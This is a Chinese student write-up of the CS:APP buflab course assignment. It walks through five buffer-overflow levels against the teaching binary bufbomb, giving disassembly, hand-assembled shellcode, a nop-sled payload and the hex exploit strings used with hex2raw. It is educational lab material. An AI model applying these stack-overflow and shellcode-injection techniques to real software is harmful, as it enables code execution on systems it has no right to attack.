HNU计算机系统lab3

实验内容:

首先,打开压缩包中,我们发现有有三个可执行文件,接下来,我们根据实验指导书知道了这三个函数的具体含义:

 bufbomb:你要攻击的缓冲炸弹计划。

 makecookie:根据用户ID生成“cookie”

 hex2raw:一个帮助在字符串格式之间转换的实用程序。

根据实验压缩包中提供的可执行文件makecookie和自己设置的userid生成cookie,在理解缓冲区溢出攻击的原理上编写每个level对应的文件,按照buflab实验文档的要求完成5个关卡的任务。

同时根据实验文档里面的bufbomb函数原型:

我们可以知道getbuf函数类似于gets函数,它是读入一段字符串,字符串以\n表示结束。但是从图中定义我们可以知道,getbuf提供的缓冲区只有32个字符大小,但是getbuf本身又没有对输入的字符做是否超过缓冲区大小进行安全检查,从而带来了缓冲区溢出漏洞。

使用的指令方式如下:

 unix> ./bufbomb -u bovik

 Type string: I love 15-213.

 Dud: getbuf returned 0x1
 unix> ./bufbomb -u bovik

 Type string: It is easier to love this class when you are a TA.

 Ouch!: You caused a segmentation fault!

参数:

-u,确保不同的userid用不同的cookie

-n,为了level4,栈基址随机化模式的时候使用。

-s,上传到服务器进行打分。

提交方式:

操作步骤:

生成用户cookie

实验文件中bufbomb文件是一个有缓存区溢出漏洞的程序,hex2raw的作用是让自己编写的漏洞代码转化为一个字符串的格式。makecookie可以根据用户定义的userid生成唯一的cookie,这里定义我的useridlvzhao,执行./makecookie lvzhao生成cookie

 

进行buf实验

根据实验指导书,我们知道这里我们需要对bufbomb这个可执行文件进行汇编级的分析,这里我们选择使用objdump -d bufbomb > 1.txt指令来将bufbomb的汇编代码放到记事本中进行查看,这里会更加便于我们进行汇编级的调试和观察。

level0:

实验描述:

该实验要求我们在test函数调用完getbuf之后,不继续返回test函数中继续执行,而是跳转到smoke函数处继续执行。

实现:

首先,我们可以知道栈帧的结构是:

 

根据函数调用中栈帧的相关知识,我们可以知道调用者的返回地址位于当前ebp+4处的位置,所以这里我们只需要改变ebp+4处的返回地址,将它覆盖成smoke函数的入口地址即可。这里,我们首先查看getbuf的汇编代码:

 08049262 <getbuf>:

  8049262: 55                   push   %ebp

  8049263: 89 e5               mov   %esp,%ebp

  8049265: 83 ec 38             sub   $0x38,%esp

  8049268: 8d 45 d8             lea   -0x28(%ebp),%eax

  804926b: 89 04 24             mov   %eax,(%esp)

  804926e: e8 bf f9 ff ff       call   8048c32 <Gets>

  8049273: b8 01 00 00 00       mov   $0x1,%eax

  8049278: c9                   leave  

  8049279: c3                   ret    

  804927a: 90                   nop

  804927b: 90                   nop

  804927c: 90                   nop

  804927d: 90                   nop

  804927e: 90                   nop

  804927f: 90                   nop

发现这里为buf数组开辟了0x28大小栈区大小(即40个字节的大小),同时我们知道这个是没有缓冲区溢出保护的。所以,我们通过输入的数组来改变调用者栈帧的返回地址即可。同时根据栈帧的相关知识,我们可以知道ebp处地址保存的是旧的ebp的值,ebp+4处保存的就是调用者的返回地址。我们就需要使用smoke函数的入口地址来修改这个地方的返回地址就可以让getbuf函数不返回test函数而是执行smoke函数。

smoke函数的汇编代码如下:

 08048e0a <smoke>:

  8048e0a: 55                   push   %ebp

  8048e0b: 89 e5               mov   %esp,%ebp

  8048e0d: 83 ec 18             sub   $0x18,%esp

  8048e10: c7 44 24 04 fe a2 04 movl   $0x804a2fe,0x4(%esp)

  8048e17: 08 

  8048e18: c7 04 24 01 00 00 00 movl   $0x1,(%esp)

  8048e1f: e8 6c fb ff ff       call   8048990 <__printf_chk@plt>

  8048e24: c7 04 24 00 00 00 00 movl   $0x0,(%esp)

  8048e2b: e8 50 04 00 00       call   8049280 <validate>

  8048e30: c7 04 24 00 00 00 00 movl   $0x0,(%esp)

  8048e37: e8 94 fa ff ff       call   80488d0 <exit@plt>

从汇编代码我们可以知道smoke函数的首地址是0x08048e0a,将这个作为4448个字节输入进去,应该就可以了。当时是这样想的,后面发现没有运行成功。最后,在网上搜索了一下才发现0aascii码表示的是换行符,所以会导致smoke的入口地址不完整。因此,这里我们选择使用0x08048e0b防止出现地址不完整的情况。注意,输入的时候需要使用小端法。

最后我们可以得到的结果如下:

 00 00 00 00 00 00 00 00 00 00

 00 00 00 00 00 00 00 00 00 00

 00 00 00 00 00 00 00 00 00 00

 00 00 00 00 00 00 00 00 00 00 

 00 00 00 00 0b 8e 04 08

使用指令cat level1.txt | ./hex2raw | ./bufbomb -u lvzhao,我们可以得到以下的结果:

从图中的结果,我们可以知道我们修改的是正确的,getbuf函数的返回地址成功被修改为smoke函数的地址,并且smoke函数成功的执行,输出了我们所需要的结果。

level1:

实验描述:

这个实验和上一个实验十分相近,这里需要的是在test函数中调用getbuf函数之后不继续执行test函数,而是跳转到fizz函数执行,这个实验与上述实验不同的地方在于,需要传送参数到fizz函数中才可以完成实验要求。这里的参数就是刚开始设置的cookie

实现:

首先我们先看到fizz函数的C语言代码:

我们知道我们需要输出的结果是:printf("Fizz!: You called fizz(0x%x)\n", val);知道了这个,可以在后面的输出结果相验证,从而就可以知道我们所输出的结果是否正确。

其余思路与level0相同,就是使用44个字节造成缓冲区溢出,然后使用fizz函数的首地址覆盖调用者栈帧的返回地址,这样就可以让test函数在调用完getbuf函数之后可以返回fizz函数,而不是继续执行test函数。但是,这里需要注意fizz函数需要将cookie作为参数输入fizz函数中,所以我们需要找到参数输入的位置。

接下来,我们看到fizz函数的汇编代码:

 08048daf <fizz>:

  8048daf: 55                   push   %ebp

  8048db0: 89 e5               mov   %esp,%ebp

  8048db2: 83 ec 18             sub   $0x18,%esp

  8048db5: 8b 45 08             mov   0x8(%ebp),%eax

  8048db8: 3b 05 04 d1 04 08   cmp   0x804d104,%eax

  8048dbe: 75 26               jne   8048de6 <fizz+0x37>

  8048dc0: 89 44 24 08         mov   %eax,0x8(%esp)

  8048dc4: c7 44 24 04 e0 a2 04 movl   $0x804a2e0,0x4(%esp)

  8048dcb: 08 

  8048dcc: c7 04 24 01 00 00 00 movl   $0x1,(%esp)

  8048dd3: e8 b8 fb ff ff       call   8048990 <__printf_chk@plt>

  8048dd8: c7 04 24 01 00 00 00 movl   $0x1,(%esp)

  8048ddf: e8 9c 04 00 00       call   8049280 <validate>

  8048de4: eb 18               jmp   8048dfe <fizz+0x4f>

  8048de6: 89 44 24 08         mov   %eax,0x8(%esp)

  8048dea: c7 44 24 04 d4 a4 04 movl   $0x804a4d4,0x4(%esp)

  8048df1: 08 

  8048df2: c7 04 24 01 00 00 00 movl   $0x1,(%esp)

  8048df9: e8 92 fb ff ff       call   8048990 <__printf_chk@plt>

  8048dfe: c7 04 24 00 00 00 00 movl   $0x0,(%esp)

  8048e05: e8 c6 fa ff ff       call   80488d0 <exit@plt>

通过第五行代码,我们可以知道我们是将栈帧的ebp+8的位置作为参数的位置,这里其实是ebp+4的位置被作为当getbuf的返回地址出栈之后,我们这时跳转到fizz函数继续执行,但是ebp+4ebp+8的地方自然就变成了返回地址的地方,所以我们需要在中间填充上4个字节,然后再以小端法输入我们的cookie即可。

所以最后的结果为:

 00 00 00 00 00 00 00 00 00 00

 00 00 00 00 00 00 00 00 00 00

 00 00 00 00 00 00 00 00 00 00

 00 00 00 00 00 00 00 00 00 00

 00 00 00 00 af 8d 04 08 31 31

 31 31 c1 e6 ec 3f

输入测试指令:cat level2.txt | ./hex2raw | ./bufbomb -u lvzhao,可以得到如下的输出:

发现输出的结果与我们的预期相同,所以可以得出我们所做的结果是正确的。

level2:

实验描述:

该实验的任务是让bufbomb执行bang代码,同时需要将全局变量global_value设置为用户的cookie,这里根据题目是需要写代码来设置global_value,将bang的地址压入堆栈,然后执行ret导致跳转到bang代码的指令。

bang的代码如下:

 int global_value = 0;

 void bang(int val)

 {

 if (global_value == cookie) {

 printf("Bang!: You set global_value to 0x%x\n", global_value);

 validate(2);

 } else

 printf("Misfire: global_value = 0x%x\n", global_value);

 exit(0);

 }

实现:

这里,我们先看实验中的提示,我们发现在实验提示中提到了一种缓冲区攻击的技术,是通过将编译之后的机器码放到堆栈上,然后ret之后调到放置机器码的首地址处开始执行的,而不是返回。

一开始的时候,觉得这一题和level1差距不大,是同样的问题。后面发现所需要修改的变量是全局变量,由于全局变量需要储存在内存中,所以简单的在栈上修改参数已经不能实现题目中的要求,这里就需要我们写代码,然后通过字符串的输入来修改堆栈上面的内容,然后使用ret来调转到堆栈中我们所写代码对应的机器码的首地址处,这样我们只需要在我们所写的代码里面将global_value的地址里的值修改为我们的cookie,同时将我们需要将bang函数的首地址push进去,之后使用ret即可跳转到对应位置开始执行,那么我们写的这个函数该如何执行,这里就需要改变返回地址,将我们的返回地址修改为我们存放机器码的首地址处即可。

首先,我们需要找到global_value的地址,这里我们观察bang的代码:

 08048d52 <bang>:

  8048d52: 55                   push   %ebp

  8048d53: 89 e5               mov   %esp,%ebp

  8048d55: 83 ec 18             sub   $0x18,%esp

  8048d58: a1 0c d1 04 08       mov   0x804d10c,%eax

  8048d5d: 3b 05 04 d1 04 08   cmp   0x804d104,%eax//cookie

  8048d63: 75 26               jne   8048d8b <bang+0x39>

  8048d65: 89 44 24 08         mov   %eax,0x8(%esp)

  8048d69: c7 44 24 04 ac a4 04 movl   $0x804a4ac,0x4(%esp)

  8048d70: 08 

  8048d71: c7 04 24 01 00 00 00 movl   $0x1,(%esp)

  8048d78: e8 13 fc ff ff       call   8048990 <__printf_chk@plt>

  8048d7d: c7 04 24 02 00 00 00 movl   $0x2,(%esp)

  8048d84: e8 f7 04 00 00       call   8049280 <validate>

  8048d89: eb 18               jmp   8048da3 <bang+0x51>

  8048d8b: 89 44 24 08         mov   %eax,0x8(%esp)

  8048d8f: c7 44 24 04 c2 a2 04 movl   $0x804a2c2,0x4(%esp)

  8048d96: 08 

  8048d97: c7 04 24 01 00 00 00 movl   $0x1,(%esp)

  8048d9e: e8 ed fb ff ff       call   8048990 <__printf_chk@plt>

  8048da3: c7 04 24 00 00 00 00 movl   $0x0,(%esp)

  8048daa: e8 21 fb ff ff       call   80488d0 <exit@plt>

经过C函数和汇编函数的对比,我们可以知道global_value在内存里面的位置是0x804d10c,接下来我们只需要使用movl指令将cookie移入global_value即可。

同时,这里我们也知道了bang的入口地址是0x08048d52,只需要push $0x08048d52,之后调用ret代码就可以跳转到bang函数处开始执行。

所以我们可以写出以下代码:

 movl $0x3fece6c1,0x804d10c 

 push $0x8048d52 

 ret

但是,我们需要将它转化为机器码,机器才能直接开始执行,否则的话机器是不能运行汇编代码的,接下来就可以使用如下指令:

 gcc -m32 -c level3_codes.s

 ​

 objdump -d level3_codes.o >level3_codes.d

最后我们可以得到的机器码为:

 ​

 level3_codes.o:     file format elf32-i386

 ​

 ​

 Disassembly of section .text:

 ​

 00000000 <.text>:

    0: c7 05 0c d1 04 08 c1 movl   $0x3fece6c1,0x804d10c

    7: e6 ec 3f 

    a: 68 52 8d 04 08       push   $0x8048d52

    f: c3                   ret    

现在,我们应该如何执行我们所编写的程序呢。如果,在这里我将这些机器码放到我们输入字符串的开始位置,那么我们就需要将返回地址修改为输入字符串的首地址即可。

那么该如何找到输入字符串的首地址呢?我们接下来来看到getbuf函数:

 08049262 <getbuf>:

  8049262: 55                   push   %ebp

  8049263: 89 e5               mov   %esp,%ebp

  8049265: 83 ec 38             sub   $0x38,%esp

  8049268: 8d 45 d8             lea   -0x28(%ebp),%eax

  804926b: 89 04 24             mov   %eax,(%esp)

  804926e: e8 bf f9 ff ff       call   8048c32 <Gets>

  8049273: b8 01 00 00 00       mov   $0x1,%eax

  8049278: c9                   leave  

  8049279: c3                   ret    

  804927a: 90                   nop

  804927b: 90                   nop

  804927c: 90                   nop

  804927d: 90                   nop

  804927e: 90                   nop

  804927f: 90                   nop

我们可以知道ebp-28就是我们输入字符串的首地址,这里只需要我们设置断点,然后执行到lea执行之后,然后输出eax里面的值即可:

所以,我们可以知道对应的返回地址就是0x55683028,所以我们的最后结果为:

 c7 05 0c d1 04 08 c1 e6 ec 3f

 68 52 8d 04 08 c3 00 00 00 00

 00 00 00 00 00 00 00 00 00 00

 00 00 00 00 00 00 00 00 00 00

 00 00 00 00 28 30 68 55   

最后使用指令:cat level3.txt | ./hex2raw | ./bufbomb -u lvzhao,我们可以得到的结果如下:

level3:

实验描述:

该任务要求修改getbuf的返回值为cookie,而不是值1。漏洞利用代码应将cookie设置为返回值,还原任何损坏的状态,然后按入在堆栈上的正确返回位置,并执行ret指令以真正返回test。做这个实验需要解决两个问题,一是对破坏的栈帧的恢复,二是修改返回值。

实现:

该实验与上面实验不同的点在于,这个实验需要我们可以返回test同时我们需要修改getbuf的返回值,从上面的汇编代码中我们可以看到getbuf的返回值为1,我们需要将它修改为我们的cookie值,同时需要成功返回test函数继续执行。

这里,我们采用和上一个实验相同的方法,就是同样的编写代码然后转化成机器码,然后放到堆栈中,然后返回到对应堆栈的首地址位置执行我们所编写的程序即可。

首先,我们需要将返回值设置为我们的cookie,这个的实现是十分简单的。只需要使用movl指令,将cookie的值放入到eax寄存器里面就可以。接下来,就需要正常返回test函数开始执行,这里就需要关注平时是如何正常返回函数开始执行的。

平时正常的返回函数,首先是将旧的ebp的值返回到ebp寄存器中,然后将返回地址返回到eip中,这里我们只需要将原来的地址压入栈,然后使用ret即可完成。

所以接下来,我们就需要找到旧的ebp的值,以及原来的返回地址即可。我们只需要设置断点在test函数处,然后将ebp的值输出即可知道旧的ebp的值:

我们知道了旧的ebp的值为0x55683080,原来的返回地址根据所学知识应该是call getbuf之后下一条指令,test的汇编代码为:

  8048e48: 89 45 f4             mov   %eax,-0xc(%ebp)

  8048e4b: e8 12 04 00 00       call   8049262 <getbuf>

  8048e50: 89 c3               mov   %eax,%ebx

所以,返回地址为0x8048e50

我们所写的汇编代码如下:

 movl $0x3fece6c1,%eax 

 movl $0x55683080,%ebp

 push $0x8048e50

 ret

将旧的ebp的值保存到ebp中,同时压入返回地址,使用ret指令来返回test函数继续执行。

使用与level2相同的指令将其转化为机器代码:

 level4_codes.o:     file format elf32-i386
 
 
 Disassembly of section .text:
 ​
 00000000 <.text>:

    0: b8 c1 e6 ec 3f       mov   $0x3fece6c1,%eax

    5: bd 80 30 68 55       mov   $0x55683080,%ebp

    a: 68 50 8e 04 08       push   $0x8048e50

    f: c3                   ret    

同时,返回地址也与level2相同,所以我们得到最后的结果为:

 b8 c1 e6 ec 3f bd 80 30 68 55

 68 50 8e 04 08 c3 00 00 00 00

 00 00 00 00 00 00 00 00 00 00

 00 00 00 00 00 00 00 00 00 00

 00 00 00 00 28 30 68 55

使用指令:cat level4.txt | ./hex2raw | ./bufbomb -u lvzhao,我们可以得到如下结果:

可以看到返回了我们的cookie,完成了题目的要求。

level4:

实验描述:

该实验要比上一个实验更深一步。getbufn函数将连续运行5次,每次需要我们设置返回值为我们自己的cookie,而不是值1,并正确返回到testn函数中,在testn代码中看到这将导致程序运行“ KABOOM 漏洞利用代码应设置cookie作为返回值,恢复任何损坏的状态,将正确的返回位置压入堆栈,并执行ret指令以真正返回到testn

实现:

该实验的难点则是每次堆栈的位置不确定,这里就需要我们使用nop指令。

调用getbufn函数,其缓冲区大小为512个字节, 且每次栈的位置都会变化nop只是执行eip自加1不进行其他的操作。在无法猜测的时候,只需要找到最大的地址,然后nop指令向后开始执行,一直到我们所编写的代码。

同样,与上一个实验相同这里我们就需要将cookie的值移入eax寄存器中,同时将旧的ebp的值移入到ebp中,同时将call getbufn下一条指令压入栈中,之后使用指令ret即可。接下来我们来看一下gerbufn的汇编代码:

 08049244 <getbufn>:

  8049244: 55                   push   %ebp

  8049245: 89 e5               mov   %esp,%ebp

  8049247: 81 ec 18 02 00 00   sub   $0x218,%esp

  804924d: 8d 85 f8 fd ff ff   lea   -0x208(%ebp),%eax

  8049253: 89 04 24             mov   %eax,(%esp)

  8049256: e8 d7 f9 ff ff       call   8048c32 <Gets>

  804925b: b8 01 00 00 00       mov   $0x1,%eax

  8049260: c9                   leave  

  8049261: c3                   ret    

buf的首地址为-0x208%ebp)为十进制520个字节大小。

每次运行testnebp都不同,所以每次getbufn里面保存的testebp也是随机的,但是栈顶的esp是不变的,我们就要找到每次随机的ebpesp之间的关系来恢复ebp。我们先通过调试来看一下getbuf里面保存的ebp的值的随机范围为多少。

ebp的值 减去0x208buf的首地址

0x55683050  0x55682e48

0x55683060  0x55682e58

0x55683010  0x55682e08

0x55683060  0x55682e58

0x55683020  0x55682e18

所以这里我们找到最大值就是0x55682e58

接下来,应该确定旧的ebp的值与esp之间的关系就可以完成ebp的恢复,所以我们看到testn函数的汇编代码:

 08048cce <testn>:

  8048cce: 55                   push   %ebp

  8048ccf: 89 e5               mov   %esp,%ebp

  8048cd1: 53                   push   %ebx

  8048cd2: 83 ec 24             sub   $0x24,%esp

  8048cd5: e8 3e ff ff ff       call   8048c18 <uniqueval>

  8048cda: 89 45 f4             mov   %eax,-0xc(%ebp)

  8048cdd: e8 62 05 00 00       call   8049244 <getbufn>

  8048ce2: 89 c3               mov   %eax,%ebx

  8048ce4: e8 2f ff ff ff       call   8048c18 <uniqueval>

从上图中,我们可以知道esp刚开始的时候等于ebp,接下来push ebxebp=esp+0x4,继续往下分析。sub $0x24,%esp之后,ebp=esp+0x28就是espebp每次的变化关系,通过esp来恢复我们的每次的ebp。同时,通过上面的代码,我们也知道了返回地址为0x8048ce2。所以,我们的汇编代码为:

 movl $0x3fece6c1,%eax

 lea 0x28(%esp),%ebp

 push $0x8048ce2

 ret

使用与上面相同的指令,我们可以得到我们最后的机器码为:

 level5_codes.o:     file format elf32-i386
 ​
 ​
 Disassembly of section .text:
 ​
 00000000 <.text>:
    0: b8 c1 e6 ec 3f       mov   $0x3fece6c1,%eax
    5: 8d 6c 24 28         lea   0x28(%esp),%ebp
    9: 68 e2 8c 04 08       push   $0x8048ce2
    e: c3                   ret    

根据,上面的机器码以及可能的buf数组的最高地址,我们可以得到如下结果:

 90 90 90 90 90 90 90 90 90 90

 90 90 90 90 90 90 90 90 90 90

 90 90 90 90 90 90 90 90 90 90

 90 90 90 90 90 90 90 90 90//上面有509个字节的nop指令

 b8 c1 e6 ec 3f 8d 6c 24 28 68

 e2 8c 04 08 c3 58 2e 68 55//15个字节的机器码,以及4个字节的返回地址

输入实验指导书中的指令:cat level5.txt | ./hex2raw -n | ./bufbomb -n -u lvzhao,可以得到如下的输出结果:

分析与体会:

分析:

这个实验需要了解缓冲区溢出原理,以及堆栈的过程,函数调用的实现过程,函数传参的底层实现等相关知识,通过这个实验,我对函数的调用更加了解了,知道了一些常见的攻击手段,了解到了程序执行过程中堆栈的变化。同时,这个实验比较难以入门,但是入门之后难度没有上一个bomb实验难度大,同样的学习到的知识同样不少。对很多知识的认知都比以前更加清晰了。

体会:

通过这次实验,了解到了一些简单而又有趣的攻击手段,了解到了背后的工作原理,让我知道了学习计算机系统的重要性,以及增加了我的学习兴趣。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值